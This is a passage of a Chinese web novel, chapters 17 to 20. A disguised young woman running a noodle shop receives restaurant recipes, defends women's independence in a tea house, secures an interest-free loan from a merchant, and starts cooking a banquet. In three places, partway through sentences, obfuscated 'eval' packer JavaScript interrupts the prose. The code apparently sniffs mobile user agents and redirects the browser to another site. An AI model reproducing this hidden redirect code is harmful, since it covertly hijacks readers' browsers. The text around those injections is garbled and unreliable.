还没说完，尚怀真一手比“嘘”，一手伸到她嘴前打断了她接下来的话，把木盆放到一旁后，拉她坐下，温和笑道：“我知道的，你们俩长得并不像，处事礼仪也天差地别，伤心事就莫要再回忆了，只要是用真心换真心，半路亲人一样胜似血缘至亲。我知道你愿意和我说实话就是已经将我当成你信任的人了，于我来说，这就足够了，即使以后会有再多麻烦和困难，我都会和你们携手共进的。” 林映玉坐在她身旁，感受着她谈吐中的友善体贴以及一呼一吸间的温热气息，心底莫名地躁动了起来，因衣衫单薄还带着些寒意的身体也不由地发烫，激动之下不知为何竟忍不住颤抖。 尚怀真见她突然发抖，以为她是着凉了，赶紧把自己身上的外套脱下来围在她身上。虽然她比现在的自己虚长两岁，却还要比自己矮上一点，古代人的身体也着实差了些。 林映玉看着自己眼前的光被一道身影覆盖住，暖意也随之袭来，眼圈不禁发红，这一刻很想撕开自己坚强的伪装扑进对方的怀里大哭一场，但是理智和矜持控制住了她，毕竟这只是认识了数日的男子啊！ 男子之言，之于女子，不过是见色起意，或是一时兴起。若果交出真心，当其腻味之时，自己又该如何自处？ 努力让自己的情绪稳定下来后，拢了拢体温尚存的外衣，正准备解下来还回去时，手却被按住了。 “外间风大，你披着回去吧，明日再还给我不急。你看，瑶瑶过来找你了。”尚怀真见她不抖了，觉得确实就是天黑导致越来越冷的原因，故按住她想把外套摘下来还自己的手，还帮她把脖子前的带子系紧了一点。 林映玉被她的这个举动惊到，下意识地拉开了一点距离，往窗外看了看，见林映瑶在院子内一边踩着雪坑玩，一边往偏厅这边走来，忙起身，脸红道：“那我明日将这件外衣洗净后再还予你。” 尚怀真微笑着点点头，也起身要去拿木盆。 见她转身，已经端起木盆准备往外走了，林映玉突然想到了什么，忙拉住她的衣袖，认真道：“漪福楼里的好几样招牌菜品我都有经手，怀真你需要他们的配方吗？我可以写下来。” 刚还哭笑不得地想着这美人怎么那么爱扯衣袖，这会听到这话后，尚怀真双眼立马放光，笑容比先前灿烂了好几倍，兴奋之下又反射性地拍起了彩虹屁：“那太需要了！你简直就是天上掉下来的林妹妹，我的财神爷啊，有你真好！以后若能把漪福楼干下去，我必须捧你做离州第一女明星！” 林映玉听着她这无厘头的话，和看着那股兴奋劲，要不是手里拿着东西，感觉她马上就要手舞足蹈了。心里有些羞涩，又有些开心，也“噗呲”笑道：“怀真你不嫌弃就好，还有我自己的一些改善心得，也一并写予你。” 这笑容宛若破苞绽放的春海棠，不张扬却美得不可方物，近距离仔细看她，更是长得螓首蛾眉，我见犹怜。 “多有女人味啊！曾经我也幻想要长成这样。”尚怀真心里感叹着，脸上不禁流露出欣赏的神色，夸赞道：“回眸一笑百媚生。过几日年节歇业，我和你一起去选购新衣吧，你这么美，穿这些粗布麻衫浪费了。” 林映玉听罢，脸烫得都能烧菜了，羞得整个人都想往地下里钻去，点了点头，讷讷不敢多言。 “阿姐，怀真哥哥，你们在干嘛呢？怎的阿姐脸红红的，怀真哥哥你欺负阿姐了吗？”不多时，林映瑶手捧着一个雪球，走进偏厅，好奇地看着两人。 尚怀真看着她手上的雪球，笑道：“没呢，我感谢你阿姐还来不及呢，你想打雪仗吗？我陪你呀。” “好呀好呀！”林映瑶才说完，就把手上的雪球往她那边砸过去了。 尚怀真没想到她说到做到，还没反应过来，就被砸了一鬓角的雪，无奈笑道：“你这娃娃，手也太快了些，你阿姐怕冷，咱们出去玩。” 林映玉倚在门边，微笑地看着院内玩心未散，你追我赶的两人，漆黑的眸中好似亮起了一点光，只觉一辈子若都能过这般平静无忧的日子，该会很幸福吧。 - 月伴星明，明天该是好天气了。 城南街街尾的薛宅里，薛振中坐在书房中看着肖善和留下来的那幅写得龙飞凤舞的诗，心里思忖着是否要帮尚怀真讨要一匾店招。 一盏茶后，将思绪放在一边，方拿起一本书，房门就被敲响了。 “爹爹，我可以进来吗？” 薛振中把桌上的那幅诗卷好，应了一声后，就见薛秋华捧着一沓账本进来了。 “爹爹，这些账目我都复核好了，您且随意抽一本考核我吧。”薛秋华把账本放在桌案上，自信地看着他，眸中星芒璀璨。 自从上次和娘亲吵架后，她就听从了爹爹的安排，从自己可以接触到又相对感兴趣的领域出发，开始跟着陈伯他们学管账了。 刚开始心里还有些抵触，总想偷偷溜出去找怀真哥，又害怕爹爹发现后一生气直接把那晚聊好的条件给否决掉了。没曾想，学着学着，竟学出了滋味，忽得发现这些数字组合在一起居然如此神奇，不仅可以判别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479179|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家店铺的盈亏，还能通过分析及时调整成本扭亏为盈。 薛振中看着她自信满满的样子，抽出了一本兴德十二年的账目，问道：“兴德十二年，三月，瑞盈肉斋邑阳店，是亏是盈？因何亏？因何盈？” 薛秋华想了想，侃侃而谈道：“兴德十二年三月，除南市的总铺，邑阳街和东兴街分店的账面上皆呈亏损，邑阳街当月亏损三两银。其时过了年节，恰逢春耕，又遇各地举子上京会试，除去有家中子弟要赶考的人家，普通百姓买了种子肥料后，手头余钱亦不多。开春回暖，人们对肉食的需求也不及秋冬大，所以该月有收无盈。” 薛振中欣慰地点点头，招呼她搬一个矮凳在自己身旁坐下，不吝啬地表扬道：“很好，翠翠，短短几日，先不论你分析得如何，光是能记住这么久远之前的账目，就看得出你这段时间十分用心了，让爹爹很是欣喜。” 见薛秋华开心地坐下，他又起身到书架上拿下一叠很是陈旧的小报，递过去道：“你适才分析得不错，但还是过于表面了，这些小报你可以仔细翻阅一番，找出当年是否还有发生别的什么大事，这件事是否对咱家的生意起了影响，并推断出当时大致的物价。另外，基于三月的亏损，四月我们是否有调整了进项？这些你都需要统筹全面地去考究，以大度小，以小展大。” 薛秋华认真听完，受教地点点头，也不嫌弃陈旧纸张上散发出的霉味，细细地阅读着。 添茶的小厮进来了两回，每回都好奇地看了一眼那个专心致志，没变过姿势的俏丽身影。 过了许久，外间又起寒风，从撑开了一条小缝的窗棂处溜入，将油灯吹得“噼啪”响了两声，火光在灯座上跳了一支短暂的舞。 薛振中把手上读完的书卷合上，起身想亲自去给薛秋华更换一杯热茶，却见她的眼睛也恰好离开了陈纸，睁着大眼睛，恍然大悟道：“原来当时皇上还在各地临时征调士兵去收复平华十一州，壮丁一走，只余老弱妇孺的城村肉就更难卖了。爹爹，谢谢您教会我这些，明儿个我就将整年的账目列在一起探究。” 才放下喝完一杯茶，就见那些小报被拿走了，她疑惑地抬头问：“爹爹？” “夜深了，凝神太久对眼睛不好。劳逸结合，方能事半功倍，明日爹爹给你放个假，你可以去街上逛逛，顺便看看你的怀真哥。”薛振中打趣着将陈旧小报重新放回书架。 薛秋华脸红了红，羞赧地笑道：“爹爹，自从学习理账以来，我好像并没有那么念着他了。” 薛振中惊讶地挑了挑眉，把重新添了炭的手炉递给她，道：“好事。不过要想精学一门本领，闭门造车是万万不可取的，扎根民间可以启发你的思维。” 说着，他又将肖善和的那卷诗展开，淡淡笑道：“而且，爹爹明日也要拜托你去帮我把尚小公子约出来一聚。” 薛秋华好奇地看向那幅字卷，惊喜道：“这是，五谷居士的亲笔？” 18. 谈合作（一） 这场下了两天的绵绵小雪，方轻轻地落在亭舫梁栋上，就绽放成点点霜花，顽皮地又溅到泛着笑颜的人们脸上。 穿过街市，便见有许多屋宅敞开着大门，其内时常有人头交汇，正在洒扫门庭，抑或张贴对联、清点年货。 原来眨眼间，在这越来越浓的年味里，兴德十七年年历已翻至腊月二十六日。 再过两天，朝里的大人也将休沐，不管今年光景如何，家家户户都期盼地等待着这一年中最重要的团圆佳节的到来。 今日难得阳光灿烂，似乎连天帝都在与普天同庆。 尚怀真原想着永兴面馆要干到腊月二十八再歇业，然后自己到码头边上支一小摊多赚几天快钱，不过昨天薛秋华来找说薛父有邀，便觉得也不差这两天生意，就提前两日闭店了。 从枕头下再拿出自己连夜总结的合作方案看了一遍，该说不说，之前为了解压而练的硬笔行楷，转换成毛笔字居然这么好看。喜滋滋地欣赏了一会，才慢腾腾地把头又钻进被窝里套起保暖的衣服。 昨天来月经了，还好自己的衣服一直都没让她们帮忙洗，现在除了尚广明，她还是不敢和任何人坦白自己的性别，一旦露馅，重归流民身份的话，她可不自信自己能有白手起家的运气，真实情况可能在保证生存的第一关就倒下了。 只是这偷偷去买的粗棉月事条，也太刺挠了些，虽然寒冷让全身都不舒服把这种感觉稍稍中和了一下，但用着还是太难受了，换用贵一点的棉或许就会好一些。 果然处处都透着赚钱的理由。 刚爬起来穿好鞋子，门就被大力敲响，林映瑶在门外一直“怀真哥哥，怀真哥哥”地叫，让她感觉自己都快变成一只大母鸡了。 这小丫头乍看着防备心挺重，实则对她好一些就是个没心机的，才相处了几天，行事便风风火火了。 无奈地拉开门，看着她樱桃小嘴上偷抹的口脂，搓了搓她的两个小发髻，好笑道：“怎的是瑶瑶你来叫我，是昨天那个姐姐来了吗？” 林映瑶没想到尚怀真第一句话问的居然是昨天的那个女子，开心的大眼睛中闪过一丝幽暗，使劲地把头抬高，想让她留意到自己的嘴唇，盯着她道：“是的呀。怀真哥哥你看我今日的嘴巴好不好看？” 俏皮的话从面无表情的脸中说出，尚怀真哭笑不得，揉着她的头按下去，笑道：“当然好看，要常用嘴唇才不易冻裂，我们快走吧，别让客人等太久了。” 林映瑶“哦”了一声，跟在她身后，低头踩着她走出来的雪坑往正堂中去。 堂屋里，今天明显用心打扮过的薛秋华坐在那，浅绿修身的裙褂凸显出她玲珑有致的腰肢，柳眉下的杏仁眼总是神采奕奕，晶晶润润的小圆唇在还没褪去婴儿肥的鹅蛋脸上，更显可爱灵动，可谓是邻家有女初长成。 “秋华，几日不见，你又美了许多，今日这一身很适合你呢，明艳清新的颜色在你身上很好看！”尚怀真走进去，依旧夸赞道。 薛秋华原本在和孟奶奶聊着天，见到来人不由地又被惊艳了一瞬，加之听到她的话，脸还是羞红了，却大大方方地回看她，甜甜笑道：“怀真哥，好久不见，你越来越会哄我开心了。” “哈哈！真话，明年及笄后，你定是咱们街数一数二的大美人。” 恰到好处的夸夸不仅能令别人开心，也能令自己开心，何乐而不为呢？ 林映玉站在薛秋华的旁边侍茶，眼里波光流转，不知在想些什么。尚怀真笑着说完，让她快坐下后，转头看到孟奶奶旁边的两担子礼盒，问道：“这是？” 孟奶奶拍了拍薛秋华的手，指了指前面的一个大箱子，又指着后面的一摞小盒子，和蔼笑道：“这是薛二郎给我们家的年礼，后面这是秋华另外送给映玉她们的一些女儿家的玩意。” 薛秋华见尚怀真惊奇地看着她，俏皮地吐了吐舌。 “谢谢你，秋华。” “怀真哥，你太客气啦！爹爹今日在品珍阁订下雅间，你要先陪我去逛逛街吗？”薛秋华摆了摆手，热情地邀请道。 尚怀真想了想，见众人都在看着她，余光撇了撇那些礼盒，点头答应道：“好。伯父午膳相邀，今夜我也请你们一起到寒舍尝尝我做的菜吧，试试比之漪福楼如何。” 说罢，摸了摸怀中的配方，还朝林映玉眨了两下眼，见对方的脸一下子就红起来了，真想知道这脸皮是用什么做的这么薄。 薛秋华没注意到这些小动作，高兴地对随身侍女吩咐了一番，起身和堂屋中的众人道别。 尚怀真让尚广明拿一些钱给林映玉去买食材，也跟着她出去了。 - 邑阳街上，看着薛秋华时常在板报前停下来，尚怀真好奇地问：“秋华，最近是有发生什么大事吗？” 薛秋华摇了摇头，笑说：“怀真哥，你知道我这段时间去做了何事吗？” 尚怀真摇头表示不知，认真地等待她接下来的话。 薛秋华领着她走到一间茶馆内的临街座位处坐下，点了一壶热茶，看着街道上衣裳各式，行迹不同的人们，恰暖阳普照大地，似乎一切都很安逸。 “我去学习管账了，看着账本上那些来回变动的数字，感觉就好似看到变幻莫测的人世间。爹爹教予我，要想准确地分析每个月的盈亏，就要结合当月在民间发生的大事小事以作判断，我突然就想，如果可以，我要开一家钱庄，赚取富贵人家的钱来资助贫苦百姓。”喝下一杯热茶暖了暖身子，她才答道。 看着茶汤中袅袅升起的白雾，说着的虽是理想，眼神中却是势在必得。 见尚怀真没有答话，又抬眸正视她说：“所以我注定不会安于后宅，做甘于相夫教子的女子，这世间大多男子都无法接受我这般离经叛道，怀真哥你若也不想与我来往的话，我不会再继续叨扰你。” 虽然预想过对方不会介意，但应该也不会太赞同，没想到她却露出了喜出望外的表情。 “太棒啦！秋华你居然有这种想法，多几个你这般离经叛道的女子，这吃人的世道才会越来越好呀！”尚怀真连忙否决她这种思维：“况且你想做的这件事不仅能让你自己的生活越来越好，还能行善积德，多高尚的目标呀！咱不偷不抢的，定有真心实意的男子会欣赏你的！” 开钱庄？断交？开玩笑，有个富婆朋友那是多么爽的一件事啊！ 薛秋华正在愣神之际，身后听到她们谈话的茶客嗤笑了一声，不屑道：“嫁过去后就成了夫家的产业了，那自然是不可能拒绝啊。” 还没反应过来，就听尚怀真反驳道：“这是女子自己闯下的产业，为何因嫁人就要成为夫家的东西？她不依附于任何人，不管是想在外闯荡天地，还是在家相夫教子，甚至所嫁夫婿是何人，都该由她自己选择！” 那个茶客看了一眼少年秀气眉目中透出来的不忿，喝了一口茶，摇了摇头嘲笑道：“夫为妻纲，自明帝登位以来，皇后以身作则，勒令我朝女子不可抛头露面，不可越于夫主之上。看你也像是个读书人，竟为了取悦一个女子，说出这样大逆不道的话，实在是为吾等所不齿。” “切，我为什么要被你看得起，你以为你是谁呀，满身迂腐酸儒气，想是连个童生还没能考到吧，也就满脑子想着站在女子的牺牲上在外作威作福了。” 尚怀真看小丑似地斜了他一眼，那一脸坑洼感觉多看两眼都会长针眼，忙转脸给薛秋华满上一杯热茶，笑道：“不要理他，无能之辈才会像他那般想。不仅是我，你爹能让你去学管账，也定然如我一样认同和支持你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483668|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你这小子！我可是兴德十年的院试前十，怎的小小年纪就在这里胡说八道，明帝与帝后光明神武，女子本就该深侍内宅，古人云……”尚怀真不想理他，那人却不依不饶，抱拳举向天作朝拜状，长篇大论了起来。 尚怀真扶额苦笑，不再答话了，指了指窗外，轻声问薛秋华：“要走吗？” 薛秋华看着他那扁嘴无奈的模样，掩嘴轻笑，点了点头，眼中有情愫扑腾。 不一会，离了那聒噪的说教，尚怀真深深地呼吸了一轮冷冽的新鲜空气，还不小心呛了两口，脸色通红地咳嗽起来。 薛秋华伸出去的手缩回来了一下，又抿唇重新伸过去帮她顺了顺背，笑道：“怀真哥，谢谢你帮我说理，下次不必这样据理力争的，有你支持我就行。” “我就是看不惯这些古板的死老头，秋华你一定不要被他们影响，就努力去做自己想做的事情就可以了。” 尚怀真拍了拍胸口，感觉气顺过来了，吐槽了一句后也不再继续想这档子事，走了两步，见有一个做木雕的摊位上，雕出来的小动物栩栩如生，很是可爱。 “秋华，你是什么生肖的，这个木雕做的不错，我送一只给你吧。” “我是属兔的，怀真哥。”薛秋华走到摊位前，口中说着，手上却拿起来了一只木雕老虎。 先前她说话都是大大咧咧的，从茶馆里出来后不知为何声音有些怯涩，尚怀真不禁侧目看了她两眼，想着估计是自己的错觉。 摊主见有生意光顾，连忙放下手中的刻刀，擦了擦手，看着两人笑道：“公子小姐当真是好一对璧人，这些都是老朽亲自雕刻，采用花椒木制成，放在手中摩擦把玩，有暖手润血之效，置于书架窗棂旁，亦可起到驱散蚊虫之用，您们可以拿起一只试一试。其通体呈黄色，放置时间长了，还会变红，寓意盆满钵满，红红火火，有摇钱木之称。” 尚怀真听摊主介绍完，觉得很是新奇，拿起一只小猪，摩挲之中，的确感觉掌心有温热之感，问道：“确实趣致，大伯，这个卖多少钱？” 摊主看了看男子手中的小猪和女子手中的大虎，如实答道：“公子您手中的这只小木雕两百文，一套十二生肖一千文，小姐手中的大木雕五百文，一套五两银。” 尚怀真听到价格，倒吸了一口冷气，但看着摊主慈眉善目脸庞上已花白的头发，以及手上伤上加伤而导致留下深沟的裂痕，不好意思砍价了。想到只要和薛父谈成合作后便会越来越有钱，就咬了咬牙决定将刚存下几百文的小私库拿出来讨好这位大小姐，便问道：“秋华，你是喜欢这只大老虎吗？” 薛秋华看出了她的窘迫，摇了摇头，笑道：“我喜欢那只小老虎，只是摸摸大的试试手感罢了，谢谢怀真哥。” 还好，大小姐还是很善解人意的。尚怀真暗暗松了一口气，就让摊主把最新雕出来的那只包起来，付了钱后递给她。 薛秋华开心地接过，又向摊主问道：“伯伯，您晚些时候还在这里吗，我一会还想来找您定制一个木雕。” 得到肯定回答后，她见街上的人已经陆续走进街边的食摊小馆，抬头看了看天色，便对尚怀真说：“时辰不早了，爹爹应该已至品珍阁，我们一同过去吧。” 尚怀真闻着隐隐约约飘来的菜香，也感觉有些疲倦，忙不迭地点头。 走到品珍阁的楼前，薛秋华从早早侯在一旁的侍女手上接过一饼茶叶，递给她道：“你们之间有要事相商，我不好入席，这是爹爹爱喝的茶，就当是你送的，也好促成你们的商谈。我先回家了，晚上可要记得多做好吃的等我。” 看着她悠然离去的背影，尚怀真觉得自己再不好好赚钱，欠下的人情只会越来越多。 跟着小二上到雅间，深吸了一口气，推开了房门。 19. 谈合作（二） 雅间内，薛振中正在煎茶，身前的桌上摆着一屉六色的玲珑点心，点心旁的茶杯底座里躺着一条小鱼，被茶水冲灌后似乎活了过来，随着涟漪隐隐约约在游动。清甜的茶香轻抚过尚怀真的鼻端，这雅致的氛围让她原本还有些紧张的心绪安定了下来。 “这是朝云山茶，由凝于山脊处的云露孕育生长，五年一采，煎茶时，不必辅以盐等杂味，便自然有咸香，更有山野清涩之味，回甘且提神。不知尚小公子是否中意？” 尚怀真看着薛振中递过来的一碗上面有一层浅沫的茶汤，听他这么一介绍都快要被香迷糊了，捧起轻抿了一口，只觉口感有点像自己在现代常喝的轻乳茶，浓郁的茶味中夹着一丝淡淡的奶香，解腻又可口，也不知道是不是因为看见这层浮沫而带来的心理作用。 “伯父，我平素里极少喝茶，给不出什么专业的评价，不过这碗朝云山茶清新细腻，细品方能觉察的咸味起到了画龙点睛之意，饮毕后确实让我感觉浑身舒坦，犹想再添。” 让奶茶脑喝纯茶，一时半会味蕾是很难适应的，不过这朝云山茶确实好喝，她这话中虽有些奉承之意，但也的确是觉得口感不错。 薛振中浅浅一笑，再给她添了一碗后道：“见你信中所言，想要将永兴客栈打造成新式酒馆，并将分店开到京城去，不知有何计划？可曾有访查过民意，预计过所需银两？” 听完这些问题，尚怀真刚放下的心又揪了起来，第一个问题自然是准备充分的，后面两个问题却没反复仔细地去思考过。自己果然还是年轻冲动，思虑不够周全。 不过露怯便会奠定败局，所以三思过后，她才自信开口道：“计划是有的，也有去走访过离州一些闻名街巷的茶楼小馆，甚至品尝过漪福楼内的菜品，我相信以我的手艺再辅以适当的宣传，改造后的永兴客栈定然会客似云来，生意红火。但是我对肉菜的定价范围，以及人们现在的消费水平还不甚了解，短时间内也无法赚到足够的银钱，所以才想要与伯父您合作。” 薛振中看着她信心满满的神态，点了点头，让侍从撤下还在烤火的茶具，去点几个小菜并在外面守着后，才道：“现在屋里没人了，说说看。” 这防范意识，怪不得是做大生意的呢！尚怀真赞叹地看了一眼被关上的房门，从袖中拿出自己写的方案，递给他后详细展开说道：“首先，我打算将永兴客栈现在的格局重新拆补成七层，第一层为小食街，中间建一舞台，邀戏班舞团等入驻后于其上表演，我只收取租金。而后围于舞台置一圈小摊，售卖不同类型的吃食。第二层则为……” 在她的滔滔不绝中，时间飞快地流逝着，食客们都已经吃饱回家去了，品珍阁里只余几个还在饮酒畅谈的客人，而她们桌上的菜肴，就算重新热了两遍，看着也还像是新端上来的样子，并没有动到几次筷。 口干舌燥地说完后，看到对方还是微笑认真地听着，并没有不耐烦的样子，尚怀真松了一口气，便不客气地赶紧埋头吃饭填饱自己咕噜直叫的肚子。 薛振中给她盛了一碗汤，见她喝下去打了个饱嗝后，才收起笑，严肃问道：“你所说的中餐西餐是何含义？中原的吃食与西北的餐饮？据我所知，你去学堂还不足一年，如何习得这么多地方的风味？” “糟糕，说嗨了！”尚怀真想着，顿时冷汗直流，感觉里衣都贴着背了。方案上是字斟句酌过的，聊起天来却脑子一热忘记要改改词。 用手指挠了挠脸掩饰过尴尬，不敢直视他的眼睛，脑子飞快地运转着，假装茫然地答道：“我先前高烧的那几日，常常睡不醒，半睡半醒中就容易进入梦魇，可能是从学堂回来前跟着他人学做了两道家常菜，所以梦魇中全都是做菜的方法，醒来后我就用梦里的方法做了一碗阳春面，没想到成功了。” 说完，觉得可能有点太假了，又不好意思地补了一句：“然后至此好似发现了自己的天赋，也不愿意再去学堂了，再发一次高烧可太痛苦了。” 薛振中看着她那蹩脚的演技，倒是很能理解秘方的重要性，也不深究，只道：“你的这个方案和想法很有新意，若我作为食客的话，只要不是出品太差，是很愿意进去一尝新奇的。” 感受到那满怀期待的眼神，他又道：“但是你这个目标太大，涉及的产业太多，成功了的话可以让你富甲一方，失败了便会血本无归。我建议你要先将你所说的小食街做起来，积攒好口碑后再一举发展其他项目。” 尚怀真刚张口想说些什么，却又听他继续直接地道：“你所言的这个二八分成的方案，恕伯父现在还不敢资投于此，不过可以借给你一笔资金，不必息钱，所需生肉也可以让利以成本价供应于你，日后若前景大好，你想开分店之时，我会再助你一臂之力。” 尚怀真还在打鼓的心顿时欢欣雀跃了起来，虽然没有拉拢到天使投资人，但是只要有了第一笔启动资金，那便万事皆有可能，况且这笔贷款还是免息的！ 她难掩喜色地笑道：“多谢伯父，我一定会努力的！不知您可以借多少给我，需要多久还清呢？” 薛振中想了想，微笑也重新挂上脸庞，道：“今夜到你家中尝过你的手艺后再细谈。” 尚怀真高兴地恨不得现在就马上天黑，拿了钱好趁着歇业赶紧找到装修团队。 起身接过侍从手上的茶壶，亲自为薛振中满上一杯茶，客气道：“那伯父，咱们现在就换场地，去我家坐坐？” 薛振中笑了笑，让她先坐下，说：“不急，我们再唠点家常吧。” “？” “翠翠现在为了你而愿意去学习伴身的本领，这点我很欣慰，也很感谢你。不知尚小公子你如何看待当世规范女子之德经诫行？” 尚怀真很想脱口而出抨击那些对女子束缚的险恶陈腐之言，但敏锐地捕捉到他话中“为了你”三个字，又把冲动吞进去了。 突然就感觉到这原本愉悦的谈话雅席瞬间变成了修罗场，对面这位文雅大方的大叔，很可能是在评估自己能不能成为他的女婿。如果用虐女之言回答，虽然可以打破薛秋华心中幻想，但这笔合作也会随之泡汤，若按自己心中所想来回答，看着两全其美没什么风险，却很有可能会害了一个无辜女子的几年青春。 薛振中见她没回答，也不说话，兀自悠哉地品着茶。 此情此景下，静谧的环境更让人心慌，内心备受煎熬的尚怀真将思绪反反复复地搅动了许多遍，决定还是按照心里的想法走，认真地回答了他。 - 活在当下。 别人的想法她控制不了，做好自己就是了。与薛振中分别后，想通了的尚怀真，顺路还买了三支木簪要送给家中的三位美女。 走在铺就了夕阳的日落大道上，她只觉心情无比愉快，前方尽是坦途。 “怀真，你回来了，看看这些菜够用吗？”不多时，回到家中，林映玉接过发簪，小心地收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501336|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入怀中，陪她走到厨房里，开心道。 看着在灶台前堆得小山高的食材，尚怀真有些哭笑不得，这是要把过年的菜都买齐了吧？ 赶紧蹲下来整理今晚需要用到的材料，扭头对同样跟着蹲下来的林映玉笑道：“你人小小，这么多食材提回来很累吧？” 林映玉还以为她要问她买这么多是不是花了很多钱，正想回答是许多乡亲见她生面孔送的，没想到对方却是问她有没有被累到，一时间情绪上涌，鼻腔发酸，愣住不知作何回答。 尚怀真说完就回过了头，没留意到她的神情，一边分菜一边说：“你今天也辛苦了，先去旁边坐一会吧，这里我来就好了，一会还要你帮我递水择菜呢，别累着了。” 林映玉见她手上的动作非常快，怕自己会帮倒忙，就应了一声好后坐在一旁。 从侧面看去，眼前的少年鼻梁高耸，鼻骨处凸起的一点驼峰，好似那巍峨高山，一如她高尚的人品，棱角分明的脸庞上，睫毛微微卷翘，真可谓仪表堂堂，心怀若谷。 过了一刻多些，尚怀真终于把满地的食材分好，塞进空空的壁橱上了。感谢地接过林映玉递来的水，坐着稍稍喘气道：“映玉，你列出的这份配方里，对哪道菜比较熟手？” “金瑞衔珠。我方到漪福楼里做帮工时，陈厨也恰被聘用不久，掌柜便将我分至他的麾下了，所以接触最多，其次金汤云脂与金掌聚宝我也常要帮厨烹饪。”林映玉不假思索地答道。 这名字起的，虽然很吉利，但听得真让人头晕。 尚怀真连忙从怀里拿出那张配方，找寻她说的金金金所对应的是什么食材。豆腐、香菇……原来金汤云脂就是咸蛋豆腐羹，金掌聚宝是花菇鸭掌，简单的菜式却把菜名弄得这么文艺，真服了。 抬头无奈地对林映玉说：“麻烦你今晚帮我把这些菜名都简单改成以主要食材冠名的名字吧，实在是太复杂太难找了。” 林映玉低头轻笑，答应了她。 看了一遍配方后，对应着已有的食材，尚怀真决定选几样工序没那么复杂，自己也爱吃的来做，形成对比，但重头菜还是以自己擅长的为主。 因要款待客人，古人又以单数为吉，那便也按酒楼标准，做一桌十一个菜吧。 想要自圆其说，一举取得薛振中的认可，这十一道菜里，不仅要包含南方特色，还要添上北方小食，西方的汉堡牛排不适合当作正餐的菜品上桌，就暂时放下，等以后小食街做起来后再尝试推广。 豆腐、鲈鱼、鸭掌、鸡蛋、白菜……构思好要做的菜品后，和林映玉分工将该洗该切该去皮的食材处理好，让她去把面粉和好后，帮忙勾兑需要用到的料汁香粉，自己则支起小灶先将鸡蛋煮熟，再把排骨焯水，捞起备用。 准备工作做好了，把和好的面粉拿过来，检查了一下烫面情况，教林映玉捏成窝窝的形状，让她捏好后，在米桶上铺上一面薄纱，蒸饭的同时把窝窝头也蒸熟。 因现在还没有引进玉米，这个并算不上合格的窝窝头，但主要是为了提供了一种可以将菜圃装入馒头窝窝中的吃法，便称其为白窝头。 林映玉虽然觉得很新奇，但知道现在时间紧迫，只好先把满腹疑问落入肚中，待得空再问。 随后，尚怀真拎起一只瞪着恐惧的双眼，还在咯咯直叫的老鸡，果断利落地放血、去毛、洗净、清肠，准备做第一道菜： 广东名菜——白切鸡！ 20. 八大菜系 粤菜之精髓，在于“鲜”字，既要保留食材的原滋原味，又要善用简单的调味使其口感展开丰富的层次，讲究清而不淡，鲜而不俗，具有清、鲜、爽、嫩、滑等特色，这便十分考验厨师的刀工以及对火候的控制。 其次，对于食材的筛选，也尤为重要。好的原料，成就了半道粤菜。 看着手中这只急忙买回来的鸡，注定是达不到十分嫩滑的程度了，但好在新鲜，注意好浸泡的时间，保证肉质不柴便也算成功了。 “用鸡作为食材的菜品还挺多的，看来小鸡崽也要找地方养起来了，不仅能吃还能下蛋，怒省一大笔呢！”尚怀真一边想着，一边往大锅中注入能将鸡身完全浸泡住的水，再往其中放入葱姜盐，煮开后将沸水闷一会使姜葱漫味。 揭开锅盖后，嗅觉敏锐的人已经能闻到淡淡的汤香了。随后提起处理好的鸡垂直放入水中，待完全浸泡后，水也顺势注入到了掏去了肺肠的内袋中，沸水烫匀鸡身，内外温度在此时便达到了平衡，直接将鸡肉热熟，而骨犹生。 约莫浸泡八秒，便要马上提起来，提起来的时间要等同放下去的时间，反复三次，使鸡皮遇冷瞬间收紧，锁住皮下的肉不会散。接着，趁在灶台余温下还在往外冒小细泡的水，将整只鸡放进去，浸煮两刻钟。 此时，冰水在外面冻着，蘸料也已经让林映玉调制好了，尚怀真试了一下口感还行，等一会上桌前再淋上热油就可以了。 拢了拢耳旁滑落的碎发，在等待的时间里，开始动工做第二道苏州酱排骨。 苏菜味甜，习尚五辛，重视调汤，风味清鲜，浓而不腻，淡而不薄，酥松脱骨而不失其形，滑嫩爽脆而不失其味。 这酱排骨虽只是一道家常菜，但也很好地浓缩了苏菜之精华，可谓一碟能下三碗饭。 将先前焯好水的长条排骨剁成大块，因为林映玉去买肉的时候并不知道自己要做什么菜，所以没让摊主剁开，现在自己能剁得动还真得益于那莫名其妙出现的潜能。 把还在煮鸡的炖锅移至一旁，让林映玉帮自己看好时间后，拿过一个干净的铁锅，烧热油，起中火并炒开冰糖，码入排骨，翻炒均匀，再往锅里放入葱姜和香料，适量的生抽、白糖、黄酒等，复又翻炒一遍使酱汁裹入肉中，加入没过排骨的开水，盖锅小火慢焖半个时辰。 